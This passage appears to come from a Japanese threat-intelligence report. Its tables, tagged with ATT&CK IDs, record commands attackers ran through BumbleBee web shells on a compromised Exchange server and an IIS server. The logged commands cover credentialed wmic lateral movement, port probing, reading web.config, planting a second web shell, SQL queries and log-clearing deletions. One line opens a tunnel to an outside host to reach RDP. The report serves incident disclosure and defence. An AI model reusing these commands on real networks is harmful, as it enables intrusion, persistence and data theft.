15:59:48 wmic /node:”<redacted IP #3>” /user:<redacted domain>\<redacted username #2> /PASSWORD:<redacted password #1> process call create “cmd.exe /c taskkill /IM “RTQ.exe” /F” T1047
15:59:55 dir c:\windows\temp\*.exe T1083
15:59:58 dir \<redacted IP #3>\C$:\windows\temp\*.exe T1083, T1021.002
16:00:04 dir \<redacted IP #3>\C$\windows\temp\*.exe T1083, T1021.002
16:00:09 del \<redacted IP #3>\C$\windows\temp\*.exe T1083, T1021.002
16:00:14 dir \<redacted IP #3>\C$\windows\temp\*.exe T1083, T1021.002
16:00:24 del \<redacted IP #3>\C$\windows\temp\r.txt T1070.004, T1021.002
16:00:29 net use * /DELETE /y T1070.004, T1021.002
16:02:48 powershell -c “Test-NetConnection -ComputerName <redacted IP #2> -Port 80 -InformationLevel “Detailed” T1046, T1059.001
16:04:36 powershell -c “Test-NetConnection -ComputerName <redacted IP #2> -Port 3389 -InformationLevel “Detailed” T1046, T1059.001
16:07:23 powershell -c “Test-NetConnection -ComputerName <redacted IP #2> -Port 389 -InformationLevel “Detailed” T1046, T1059.001
16:07:55 quser /server:<redacted IP #1> T1087
16:08:42 echo y | c:\windows\temp\RTQ.exe 192.119.110[.]194 -C -R 0.0.0.0:8081:<redacted IP #1>:3389 -l bor -pw 123321 -P 443 T1572, T1021.001
16:09:03 wmic /node:”127.0.0.1″ /user:administrator /PASSWORD:”<redacted password #2>” process call create “cmd.exe /c whoami” T1047, T1033
16:09:15 ipconfig/all T1016
16:09:35 wmic /node:”Exchange” /user:administrator /PASSWORD:”<redacted password #2>” process call create “cmd.exe /c whoami” T1047, T1033
16:10:35 net use \<redacted IP #1>\C$ /user:<redacted domain>\<redacted username #2> <redacted password #1> T1021.002
16:10:45 quser /server:<redacted IP #4> T1087
16:13:17 ipconfig/all T1016
16:13:27 wmic /node:”<redacted IP #1>” /user:<redacted domain>\<redacted username #2> /PASSWORD:<redacted password #1> process call create “cmd.exe /c c:\windows\temp\RTQ.exe whoami” T1047, T1033
16:14:20 type \<redacted IP #1>\C$\windows\temp\w.txt T1039, T1021.002
16:14:30 dir \<redacted IP #1>\C$\windows\temp\*.txt T1083, T1021.002
16:14:56 wmic /node:”<redacted IP #1>” /user:<redacted domain>\<redacted username #2> /PASSWORD:<redacted password #1> process call create “cmd.exe /c tasklist > c:\windows\temp\ww.txt” T1047
16:15:28 dir \<redacted IP #1>\c$\windows\temp\*txt T1083, T1021.002
16:15:36 type \<redacted IP #1>\c$\windows\temp\ww.txt T1039, T1021.002
16:17:54 powershell -c Test-NetConnection -ComputerName <redacted IP #1> -Port 3389 T1046, T1059.001
16:19:28 powershell -c Test-NetConnection -ComputerName <redacted IP #2> -Port 3389 T1046, T1059.001
16:19:32 wmic /node:”<redacted IP #1>” /user:<redacted domain>\<redacted username #2> /PASSWORD:<redacted password #1> process call create “cmd /c powershell -c Test-NetConnection -ComputerName <redacted IP #2> -Port 3389 > c:\windows\temp\r.txt” T1046, T1047, T1059.001, T1021.001
16:20:00 type \<redacted IP #1>\C$\windows\temp\r.txt T1039, T1021.002
16:20:34 ping -n 1 -a <redacted IP #2> T1018
16:21:29 wmic /node:”<redacted IP #2>” /user:administrator /PASSWORD:”<redacted password #2>” process call create “cmd.exe /c whoami” T1047, T1033
16:22:06 wmic /node:”<redacted IP #2>” /user:administrator /PASSWORD:”<redacted password #2>” process call create “cmd.exe /c whoami” T1047, T1033
16:22:59 net use T1021.002
16:23:07 dir \<redacted IP #1>\C$\windows\temp\*.txt T1083, T1021.002
16:23:16 type \<redacted IP #1>\C$\windows\temp\teredo.txt T1039, T1021.002
16:23:27 del \<redacted IP #1>\C$\windows\temp\ww.txt T1070.004, T1021.002
16:23:29 del \<redacted IP #1>\C$\windows\temp\r.txt T1070.004, T1021.002
16:23:43 net use * /DELETE /y T1070.004, T1021.002
17:21:19 del owafont_ja.aspx /F T1505.003, T1070.004

表2 侵害されたExchangeサーバーでBumbleBee Webシェルを使用して攻撃者が実行したコマンド

IIS WebサーバーでBumbleBeeを使用して実行されたコマンド

時刻 Webシェルのファイル名 コマンド ATT&CK TIDs
9/10/20 20:47:36 ShowDoc.aspx hostname & whoami & ipconfig/all & route print & arp -a T1082,

T1033,

T1016

9/10/20 20:48:03 ShowDoc.aspx ping -n 1 -a <redacted IP> T1018
9/10/20 20:48:20 ShowDoc.aspx ping -n 1 -a <redacted domain> T1018
9/10/20 20:48:29 ShowDoc.aspx net users /domain T1087.002
9/10/20 20:48:33 ShowDoc.aspx ipconfig/all T1016
9/10/20 20:49:19 ShowDoc.aspx echo %USERDOMAIN% T1016
9/10/20 20:49:27 ShowDoc.aspx net users /domain T1087.002
9/10/20 20:49:35 ShowDoc.aspx net users T1087.001
9/10/20 20:49:44 ShowDoc.aspx net localgroup administrators T1087.001
9/10/20 20:50:16 ShowDoc.aspx net view T1135
9/10/20 20:50:21 ShowDoc.aspx type ..\..\web.config T1005
9/10/20 20:50:40 ShowDoc.aspx ** Uploads cq.aspx webshell ** T1505.003
9/10/20 20:51:16 cq.aspx powershell -C “$conn=new-object System.Data.SqlClient.SQLConnection(“””<redacted SQL connection>”””);Try { $conn.Open(); }Catch { continue; }$cmd = new-object System.Data.SqlClient.SqlCommand(“””select @@version;”””,$conn);$ds=New-Object system.Data.DataSet;$da=New-Object system.Data.SqlClient.SqlDataAdapter($cmd);[void]$da.fill($ds);$ds.Tables[0];$conn.Close();” T1059.001,

T1213

9/10/20 20:51:37 cq.aspx powershell -C “$conn=new-object System.Data.SqlClient.SQLConnection(“””<redacted SQL connection>”””);Try { $conn.Open(); }Catch { continue; }$cmd = new-object System.Data.SqlClient.SqlCommand(“””<redacted SQL query>”””,$conn);$ds=New-Object system.Data.DataSet;$da=New-Object system.Data.SqlClient.SqlDataAdapter($cmd);[void]$da.fill($ds);$ds.Tables[0];$conn.Close();” T1059.001,T1213
9/10/20 20:51:45 cq.aspx powershell -C “$conn=new-object System.Data.SqlClient.SQLConnection(“””<redacted SQL connection>”””);Try { $conn.Open(); }Catch { continue; }$cmd = new-object System.Data.SqlClient.SqlCommand(“””<redacted SQL query>”””,$conn);$ds=New-Object system.Data.DataSet;$da=New-Object system.Data.SqlClient.SqlDataAdapter($cmd);[void]$da.fill($ds);$ds.Tables[0];$conn.Close();” T1059.001,T1213
9/10/20 20:52:27 ShowDoc.aspx del cq.aspx T1070.004

表3 2つ目のクウェート組織でホストされていたBumbleBee Webシェルを使用して攻撃者が実行したコマンド

Enlarged Image